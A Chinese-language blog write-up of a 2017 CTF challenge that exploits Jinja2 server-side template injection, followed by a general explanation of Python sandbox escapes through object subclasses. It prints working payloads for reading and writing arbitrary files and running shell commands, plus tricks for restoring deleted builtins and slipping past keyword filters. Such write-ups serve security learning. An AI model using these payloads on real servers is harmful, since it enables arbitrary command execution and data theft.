Musee de X(强网杯2017)
学到新姿势
分析
注册admin之后进行登录,然后有一个捐赠页面,,网址随便填,这里有一点要注意,名字必须和登录名一致,否则会弹出:screw you hacker
然后就成功的报错,查看报错信息:
在/var/www/html/museum/view.py in makememe中有以下错误:
if "http://" in url:
image = urllib2.urlopen(url)
else:
url = "http://"+url
image = urllib2.urlopen(url)
except:
return HttpResponse("Error: couldn't get to that URL: " + url + BACK)
if int(image.headers["Content-Length"]) > 1024*1024: ...
return HttpResponse("File too large")
fn = get_next_file(username)
open(fn,"w").write(image.read())
text = jinja2.Template(text).render()
print text
add_text(fn,imghdr.what(fn),text)
可知用用了jinja2模板
而在local vars中text行:
text:u’admin’
可以知道将用户名当作文本信息发送,那么这里就存在注入点
关于模板注入
重点要关注的是Template,官方教程给出如下说明:
`{% ... %}` for Statements
`{{ ... }}` for Expressions to print to the template output
`` for Comments not included in the template output
`# ... ##` for Line Statements
jinja2模板能访问一些python内置变量,如[],{}等,并且能够使用Python变量类型中的一些函数,这里要说明的一点是,如果要在jinja2中执行python代码,则要在模板环境中注册函数才能在模板中进行调用,具体可参考这篇文章:
利用 Python 特性在 Jinja2 模板中执行任意代码
于是给出payload:
abc{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}
要说明的一点是因为网址信息要求是一张图片,所以需要给出图片地址,例:http://pic.58pic.com/58pic/17/28/21/24d58PICqnU_1024.jpg
重点
builtins模块
builtins模块是python中的一个内建模块,如图:
该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存。另外,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀。但是,如果想要向内建模块中添加一些功能,以便在任何函数中都能直接使用而不 用再进行import,这时,就要导入内建模块,在内建模块的命名空间(即dict字典属性)中添加该功能。
().class.base.subclasses()
为什么可以访问到所有模块呢?
当我们输入().__class__
时,python显示为一个tuple类型,于是继续输入().__class__.__base__
,访问类库,python显示为object类型,我们再继续访问,输入().__class__.__base__.__subclasses__()
便得到了object的所有子类。于是接下来我们就可以访问对应的子类,由此便可能引发安全问题,例如file可以读取任意文件
除此之外还要提到的是,输入().__class__.__mro__[1].__subclasses__()
也可以访问object的所有子类,这里要注意的是mro(Method Resolution Order),关于多继承的问题,不再赘述
示例利用代码:
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
制作沙盒环境时,可能往往会删掉一些危险函数
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
然而我们可以通过reload方法进行重载
reload(__builtins__)
还有一些情况是,程序员会进行一些关键词过滤,于是有几种思路是:
- 利用python的base64等模块进行加密操作,然后再代码利用再进行一次解密操作
>>import base64 >>base64.b64encode('__import__') 'X19pbXBvcnRfXw==' >>base64.b64encode('os') 'b3M='
- 拼接字符串:
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')
Author: damn1t
Link: http://microvorld.com/2018/09/11/vulnerable/jinja2/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.